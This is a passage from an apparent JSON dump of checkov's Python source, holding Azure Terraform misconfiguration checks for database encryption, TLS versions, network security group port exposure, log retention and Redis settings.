    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass MonitorLogProfileRetentionDays(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Activity Log Retention is set 365 days or greater\"\n        id = \"CKV_AZURE_37\"\n        supported_resources = ['azurerm_monitor_log_profile']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if not conf.get('retention_policy'):\n            self.evaluated_keys = ['retention_policy']\n            return CheckResult.FAILED\n        self.evaluated_keys = ['retention_policy/[0]/enabled']\n        if conf['retention_policy'][0]['enabled'][0]:\n            self.evaluated_keys.append('retention_policy/[0]/days')\n            if 'days' in conf['retention_policy'][0] and conf['retention_policy'][0]['days'][0]:\n                if force_int(conf['retention_policy'][0]['days'][0]) is None:\n                    return CheckResult.UNKNOWN\n                if force_int(conf['retention_policy'][0]['days'][0]) >= 365:\n                    return CheckResult.PASSED\n        else:\n            if 'days' in conf['retention_policy'][0]:\n                self.evaluated_keys.append('retention_policy/[0]/days')\n                if force_int(conf['retention_policy'][0]['days']) == 0:\n                    return CheckResult.PASSED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MonitorLogProfileRetentionDays()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that MySQL server enables infrastructure encryption\"\n        id = \"CKV_AZURE_96\"\n        supported_resources = ['azurerm_mysql_server']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'infrastructure_encryption_enabled'\n\n\ncheck = MySQLEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that My SQL server enables geo-redundant backups\"\n        id = \"CKV_AZURE_94\"\n        supported_resources = ('azurerm_mysql_server', 'azurerm_mysql_flexible_server')\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'geo_redundant_backup_enabled'\n\n\ncheck = MySQLGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'public network access enabled' is set to 'False' for mySQL servers\"\n        id = \"CKV_AZURE_53\"\n        supported_resources = (\"azurerm_mysql_server\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return False\n\n\ncheck = MySQLPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLServerMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MySQL is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_54\"\n        supported_resources = (\"azurerm_mysql_server\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"ssl_minimal_tls_version_enforced\"\n\n    def get_expected_value(self) -> Any:\n        return \"TLS1_2\"\n\n\ncheck = MySQLServerMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLServerSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server\"\n        id = \"CKV_AZURE_28\"\n        supported_resources = ['azurerm_mysql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ssl_enforcement_enabled'\n\n\ncheck = MySQLServerSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLTreatDetectionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that My SQL server enables Threat detection policy\"\n        id = \"CKV_AZURE_127\"\n        supported_resources = ['azurerm_mysql_server']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"threat_detection_policy/[0]/enabled\"\n\n\ncheck = MySQLTreatDetectionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py",
    "content": "from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleHTTPAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that HTTP (port 80) access is restricted from the internet\",\n            check_id=\"CKV_AZURE_160\",\n            port=80,\n        )\n\n\ncheck = NSGRuleHTTPAccessRestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NSGRulePortAccessRestricted.py",
    "content": "from typing import Union, List, Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nimport re\n\nINTERNET_ADDRESSES = (\"*\", \"0.0.0.0\", \"<nw>/0\", \"/0\", \"internet\", \"any\")  # nosec\nPORT_RANGE = re.compile(r\"\\d+-\\d+\")\n\n\nclass NSGRulePortAccessRestricted(BaseResourceCheck):\n    def __init__(self, name: str, check_id: str, port: int) -> None:\n        supported_resources = (\"azurerm_network_security_rule\", \"azurerm_network_security_group\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def is_port_in_range(self, ports: Union[int, str, List[Union[int, str]]]) -> bool:\n        for range in force_list(ports):\n            str_range = str(range)\n            if re.match(PORT_RANGE, str_range):\n                start, end = int(range.split(\"-\")[0]), int(range.split(\"-\")[1])\n                if start <= self.port <= end:\n                    return True\n            if str_range in (str(self.port), \"*\"):\n                return True\n        return False\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        rule_confs = [conf]\n        evaluated_key_prefix = \"\"\n        if \"security_rule\" in conf:\n            rule_confs = conf[\"security_rule\"]\n            self.evaluated_keys = [\"security_rule\"]\n            evaluated_key_prefix = \"security_rule/\"\n\n        for rule_conf in rule_confs:\n            if not isinstance(rule_conf, dict):\n                return CheckResult.UNKNOWN\n\n            access = rule_conf.get(\"access\")\n            direction = rule_conf.get(\"direction\")\n            protocol = rule_conf.get(\"protocol\")\n            destination_port_range = rule_conf.get(\"destination_port_range\")\n            destination_port_ranges = rule_conf.get(\"destination_port_ranges\")\n            source_address_prefix = rule_conf.get(\"source_address_prefix\")\n            source_address_prefixes = rule_conf.get(\"source_address_prefixes\")\n\n            if (\n                access\n                and access[0].lower() == \"allow\"\n                and direction\n                and direction[0].lower() == \"inbound\"\n                and protocol\n                and protocol[0].lower() in (\"tcp\", \"*\")\n                and (\n                    (\n                        destination_port_range\n                        and self.is_port_in_range(destination_port_range[0])  # fmt: skip\n                    )\n                    or (\n                        destination_port_ranges\n                        and destination_port_ranges[0]\n                        and any(self.is_port_in_range(range) for range in destination_port_ranges[0])\n                    )\n                )\n                and (\n                    (\n                        source_address_prefix\n                        and isinstance(source_address_prefix[0], str)\n                        and source_address_prefix[0].lower() in INTERNET_ADDRESSES  # fmt: skip\n                    )\n                    or (\n                        source_address_prefixes\n                        and source_address_prefixes[0]\n                        and isinstance(source_address_prefixes[0], list)\n                        and any((isinstance(prefix, str) and prefix.lower()) in INTERNET_ADDRESSES for prefix in\n                                source_address_prefixes[0])\n                    )\n                )\n            ):\n                evaluated_key_prefix = (\n                    f\"{evaluated_key_prefix}[{rule_confs.index(rule_conf)}]/\" if evaluated_key_prefix else \"\"\n                )\n                self.evaluated_keys = [\n                    f\"{evaluated_key_prefix}access\",\n                    f\"{evaluated_key_prefix}direction\",\n                    f\"{evaluated_key_prefix}protocol\",\n                    f\"{evaluated_key_prefix}destination_port_range\",\n                    f\"{evaluated_key_prefix}destination_port_ranges\",\n                    f\"{evaluated_key_prefix}source_address_prefix\",\n                    f\"{evaluated_key_prefix}source_address_prefixes\",\n                ]\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py",
    "content": "from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleRDPAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that RDP access is restricted from the internet\",\n            check_id=\"CKV_AZURE_9\",\n            port=3389,\n        )\n\n\ncheck = NSGRuleRDPAccessRestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py",
    "content": "from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleSSHAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that SSH access is restricted from the internet\",\n            check_id=\"CKV_AZURE_10\",\n            port=22,\n        )\n\n\ncheck = NSGRuleSSHAccessRestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import INTERNET_ADDRESSES\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass NSGRuleUDPAccessRestricted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that UDP Services are restricted from the Internet \"\n        id = \"CKV_AZURE_77\"\n        supported_resources = ['azurerm_network_security_group', 'azurerm_network_security_rule']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        rule_confs = [conf]\n        evaluated_key_prefix = ''\n        if 'security_rule' in conf:\n            rule_confs = conf['security_rule']\n            self.evaluated_keys = ['security_rule']\n            evaluated_key_prefix = 'security_rule/'\n        for rule_conf in rule_confs:\n            if isinstance(rule_conf, dict):\n                if 'protocol' in rule_conf and rule_conf['protocol'][0].lower() == 'udp' \\\n                        and 'direction' in rule_conf and rule_conf['direction'][0].lower() == 'inbound' \\\n                        and 'access' in rule_conf and rule_conf['access'][0].lower() == 'allow' \\\n                        and 'source_address_prefix' in rule_conf \\\n                        and rule_conf['source_address_prefix'][0].lower() in INTERNET_ADDRESSES:\n                    evaluated_key_prefix = f'{evaluated_key_prefix}[{rule_confs.index(rule_conf)}]/' if \\\n                        evaluated_key_prefix else ''\n                    self.evaluated_keys = [f'{evaluated_key_prefix}protocol',\n                                           f'{evaluated_key_prefix}direction',\n                                           f'{evaluated_key_prefix}access',\n                                           f'{evaluated_key_prefix}source_address_prefix']\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.UNKNOWN\n        return CheckResult.PASSED\n\n\ncheck = NSGRuleUDPAccessRestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Network Interfaces disable IP forwarding\"\n        id = \"CKV_AZURE_118\"\n        supported_resources = ['azurerm_network_interface']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'enable_ip_forwarding'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = NetworkInterfaceEnableIPForwarding()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass NetworkWatcherFlowLogPeriod(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'\"\n        id = \"CKV_AZURE_12\"\n        supported_resources = ['azurerm_network_watcher_flow_log']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['enabled']\n        if 'enabled' in conf and conf['enabled'][0] and 'retention_policy' in conf:\n            retention_block = conf['retention_policy'][0]\n            if retention_block['enabled'][0]:\n                retention_in_days = force_int(retention_block['days'][0])\n                self.evaluated_keys = ['retention_policy/[0]/enabled', 'retention_policy/[0]/days']\n                if retention_in_days is not None and (retention_in_days == 0 or retention_in_days >= 90):\n                    return CheckResult.PASSED\n            else:\n                self.evaluated_keys = ['retention_policy/[0]/enabled']\n        return CheckResult.FAILED\n\n\ncheck = NetworkWatcherFlowLogPeriod()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py",
    "content": "from typing import Any, List, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass OpenAICognitiveServicesRestrictOutboundNetwork(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Cognitive Services account hosted with OpenAI is configured with data loss prevention\"\n        id = \"CKV_AZURE_247\"\n        supported_resources = ('azurerm_cognitive_account', )\n        categories = (CheckCategories.NETWORKING, )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if conf.get(\"kind\", [\"\"])[0].lower() != 'openai':\n            return CheckResult.PASSED\n\n        outbound_network_access_restricted = conf.get('outbound_network_access_restricted', [None])[0]\n        fqdns = conf.get('fqdns', [[]])[0]\n        if not outbound_network_access_restricted or not fqdns:\n            self.evaluated_keys = ['outbound_network_access_restricted', 'fqdns']\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = OpenAICognitiveServicesRestrictOutboundNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that PostgreSQL server enables infrastructure encryption\"\n        id = \"CKV_AZURE_130\"\n        supported_resources = (\"azurerm_postgresql_server\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"infrastructure_encryption_enabled\"\n\n\ncheck = PostgreSQLEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py",
    "content": "from typing import Any, Dict, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLFlexiServerGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that PostgreSQL Flexible server enables geo-redundant backups\"\n        id = \"CKV_AZURE_136\"\n        supported_resources = ['azurerm_postgresql_flexible_server']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        # Replicas can't have geo-redundant backups\n        if conf.get('create_mode') and conf.get('create_mode')[0] == 'Replica':\n            return CheckResult.PASSED\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return 'geo_redundant_backup_enabled'\n\n\ncheck = PostgreSQLFlexiServerGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_147\"\n        supported_resources = ['azurerm_postgresql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"ssl_minimal_tls_version_enforced\"\n\n    def get_expected_value(self):\n        return 'TLS1_2'\n\n\ncheck = PostgreSQLMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass PostgreSQLServerConnectionThrottlingEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_32\"\n        supported_resources = ['azurerm_postgresql_configuration']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf['name'][0] == 'connection_throttling' and conf['value'][0] == 'off':\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['name', 'value']\n\n\ncheck = PostgreSQLServerConnectionThrottlingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass PostgreSQLServerLogCheckpointsEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_30\"\n        supported_resources = ['azurerm_postgresql_configuration']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf['name'][0] == 'log_checkpoints' and conf['value'][0] == 'off':\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['name', 'value']\n\n\ncheck = PostgreSQLServerLogCheckpointsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass PostgreSQLServerLogConnectionsEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_31\"\n        supported_resources = ['azurerm_postgresql_configuration']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf['name'][0] == 'log_connections' and conf['value'][0] == 'off':\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['name', 'value']\n\n\ncheck = PostgreSQLServerLogConnectionsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass PostgreSQLServerLogRetentionEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_146\"\n        supported_resources = ['azurerm_postgresql_configuration']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf['name'][0] == 'log_retention' and conf['value'][0] == 'off':\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['name', 'value']\n\n\ncheck = PostgreSQLServerLogRetentionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLServerHasPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that PostgreSQL server disables public network access\"\n        id = \"CKV_AZURE_68\"\n        supported_resources = ['azurerm_postgresql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = PostgreSQLServerHasPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLServerSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_29\"\n        supported_resources = ['azurerm_postgresql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ssl_enforcement_enabled'\n\n\ncheck = PostgreSQLServerSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgresSQLTreatDetectionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that PostgreSQL server enables Threat detection policy\"\n        id = \"CKV_AZURE_128\"\n        supported_resources = ['azurerm_postgresql_server']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"threat_detection_policy/[0]/enabled\"\n\n\ncheck = PostgresSQLTreatDetectionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgressSQLGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that PostgreSQL server enables geo-redundant backups\"\n        id = \"CKV_AZURE_102\"\n        supported_resources = ['azurerm_postgresql_server']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'geo_redundant_backup_enabled'\n\n\ncheck = PostgressSQLGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PubsubSKUSLA.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass PubsubSKUSLA(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Web PubSub uses a SKU with an SLA\"\n        id = \"CKV_AZURE_175\"\n        supported_resources = (\"azurerm_web_pubsub\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"sku\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"Free_F1\"]\n\n\ncheck = PubsubSKUSLA()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass PubsubSpecifyIdentity(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Web PubSub uses managed identities to access Azure resources\"\n        id = \"CKV_AZURE_176\"\n        supported_resources = (\"azurerm_web_pubsub\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = PubsubSpecifyIdentity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedisCacheEnableNonSSLPort(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that only SSL are enabled for Cache for Redis\"\n        id = \"CKV_AZURE_91\"\n        supported_resources = ['azurerm_redis_cache']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"enable_non_ssl_port\"\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = RedisCacheEnableNonSSLPort()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedisCacheMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Redis Cache is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_148\"\n        supported_resources = ['azurerm_redis_cache']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"minimum_tls_version\"\n\n    def get_expected_value(self):\n        return '1.2'\n\n\ncheck = RedisCacheMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedisCachePublicNetworkAccessEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Cache for Redis disables public network access\"\n        id = \"CKV_AZURE_89\"\n        supported_resources = ('azurerm_redis_cache',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = RedisCachePublicNetworkAccessEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py",
